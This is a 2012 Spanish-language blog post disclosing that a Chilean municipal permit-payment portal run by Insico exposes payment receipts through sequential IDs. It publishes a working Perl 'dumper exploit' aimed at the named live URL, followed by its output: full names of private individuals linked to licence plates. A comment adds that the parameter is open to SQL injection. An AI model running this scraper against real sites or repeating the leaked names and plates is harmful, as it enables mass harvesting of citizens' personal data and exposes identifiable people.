sábado, 15 de septiembre de 2012

DataLeak -Comprobantes de pago PlacasPatente/Dueño [Insico.cl] Caso: Municipalidad Antofagasta

Insico:  Es una empresa de soluciones informáticas o como ellos mismo se definen en su pagina:

"Somos una empresa de tecnologías de la información e integración de sistemas, especializada en otorgar soluciones informáticas integrales a empresas y organismos del Sector Público, con clientes en gran parte del territorio nacional. En más de 30 años de existencia, hemos adquirido sólidos conocimientos y una vasta experiencia en la administración de instituciones gubernamentales, lo que nos permite comprender profundamente las necesidades de cada cliente y ofrecer soluciones maduras y confiables, usando en cada ocasión las tecnologías mas adecuadas. Nos hemos propuesto como un objetivo básico, que todos los recursos de INSICO se orienten a "ponerse en el lugar de nuestros clientes" asumiendo sus necesidades como propias. Lo anterior determina que, como eje fundacional, se hayan establecido valores declarados y permanentes: INTEGRIDAD, TRABAJO EN EQUIPO Y VOCACION DE SERVICIO, los que definen el carácter de la empresa, guían sus acciones y sirven de marco de referencia en las decisiones que se toman al interior de la organización, con sus clientes y proveedores. En la constante búsqueda de la excelencia, en el año 2008 asumimos el firme compromiso de que nuestro propósito de mejora continua fuese verificado por entidades externas y certificamos nuestro Sistema de Gestión de Calidad, basado en la norma ISO 9001:2000, con Bureau Veritas (BVQi), empresa líder en certificación, el que hemos mantenido hasta la fecha y actualizado a su versión ISO 9001:2008."

Dentro de sus clientes se encuentran bastante municipalidades, en este caso nos fijaremos en el servicio que prestan como portal de pagos para permisos de circulacion para ciertas  municipalidades de forma online ( este servicio se encuentra disponible y actualmente es usado) abarcando  un gran numero de transacciones y su posterior generación del comprobante.

En este caso me centrare en el sitio: http://permisosima.insico.cl/ que corresponde al portal de pagos para la Ilustre Municipalidad de Antofagasta.






Este sitio nos permite hacer el pago de el permiso de circulacion totalmente online, nos genera el comprobante que se paga via webpay y ademas nos emite el permiso de circulacion para que sea impreso.
El problema se genera al momento en el cual se genera el comprobante de la siguiente forma:

http://permisosima.insico.cl/application/views/comprobante_pago.php?id_pago=50



Como pueden ver nos presenta los siguientes datos:
+Codigo de la transaccion
+Codigo de Autorización
+Modalidad de Pago
+Numero de tarjeta: Mostrando los ultimos 4 digitos.
+Fecha de Pago
+Valor
+Detalle Donde nos muestra la patente asociada y su valor.

Luego en los datos del contribuyente:

Nombre o razon social
Sitio web del Portal donde se realiza el pago ( hay otros ademas del de Antofagasta )
y mas.

La variable id_pago en http://permisosima.insico.cl/application/views/comprobante_pago.php?id_pago= va aumentando en forma continua , de hecho en este momento que estoy escribiendo la publicacion ya va en el numero http://permisosima.insico.cl/application/views/comprobante_pago.php?id_pago=16901 que corresponde a un comprobante de hoy , 15/09/2012.

Para seguir con el dataleak? , me enfoque en obtener el nombre y asociarlo a una patente, de manera de imprimir los resultados es que usando este code podemos realizar nuestra tarea y realizar el dump de lo que me interesa.


 
#!/usr/bin/perl
 
#blog.xshinee.cl
#reportes.vulns@hotmail.com
#@shinee_

    use LWP::UserAgent;
    use strict;
     
    ##########################
    ## Basic Dumper Exploit ##
    ## Insico Target        ##
    ##########################
    # Coded by p0fk!        ##
    # Editado por @Shinee_  ##
 
    print "## Explointing...\n";
    my $baseUrl="http://permisosima.insico.cl/application/views/comprobante_pago.php?id_pago=";
    my $limite = 200; ## limite de peticiones 
    my $answer; #variable local 
     
    for ( my $x = 180; $x <= $limite; $x++ ) {  # colocar desde donde empezamos el dump ej: 180 
            my $dato = &httpGet($baseUrl.$x);
            while ( $dato =~ m!<td class='grillas' align='left'>(.*?)</td>!ig ) {
                    my $rg = $1;
if ( $rg =~ m!<u><b>(.*?)</b></u> <br /&gt(.*?)<br /&gt!ig )

{  print "# ".$2."\n"; }
}
    
             while ( $dato =~ m!<table width="95%" align='center' class='tabla_grillas' border='0' cellspacing='1' cellpadding='6'>(.*?)</table>!ig ) { 
                    my $np = $1;
                    if ( $np =~ m!<td class='grillas' align='left'>(.*?)</td>!ig ) {
                    $answer = $1 }
                    if ($answer =~  /^[A-Za-z+][\s[A-Za-z]+]*$/ ) {
                    print "$answer\n\n";
                    }}}
    
    sub httpGet{
    my $url = shift;
    my $navegador = new LWP::UserAgent;
    $navegador -> agent ("endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)");
    my $req = HTTP::Request -> new (GET => $url);
    my $respuesta = $navegador -> request ($req);
    my $contenido = $respuesta ->as_string;
    return $contenido;
    }  
   
Obteniendo como salida:
## Explointing...
# Pago Total Placa Patente BKPY14 periodo 2012
COMPANIA LTDA MUNOZ RODRIGUEZ VASQUEZ

# Pago Total Placa Patente CSPS74 periodo 2012
KERIMA ANDREA ROBLEDO PASTENE

# Pago Total Placa Patente CSPS74 periodo 2012
KERIMA ANDREA ROBLEDO PASTENE

# Pago Total Placa Patente ZJ7913 periodo 2012
ALEX EMIL BARRIENTOS BELLONE

# Pago Total Placa Patente CBSZ97 periodo 2012
ISABEL ANDREA ALVAREZ RIVERA

# Pago Total Placa Patente CZPY49 periodo 2012
VALESKA ANDREA ELUZEN GALEAS

PD: El portal no solo registra comprobantes de Antofagasta sino de las otras municipalidades involucradas, al momento de terminar el post habian 16902 comprobantes.En ciertas salidas se duplican los resultados pero corresponde a un fallo de la pagina que los tiene duplicados en mas de un valor.

3 comentarios:

j03h dijo...

La misma variable es vulnerable a inyecciones SQL.
Saludos.

j03h dijo...

Habías visto el de @p0fk ?.
http://pastebin.com/ZRWhhggB

shinee_ dijo...

j03h , si lo habia notado pero no quise ponerlo para evitar los malandrines jajaja , en cuanto al code de p0fk asi es, el fue el que comenzo el code ya que le pedi ayuda y despues modifique mas que nada las regexp para tener lo que yo queria en la salida.

Saludos men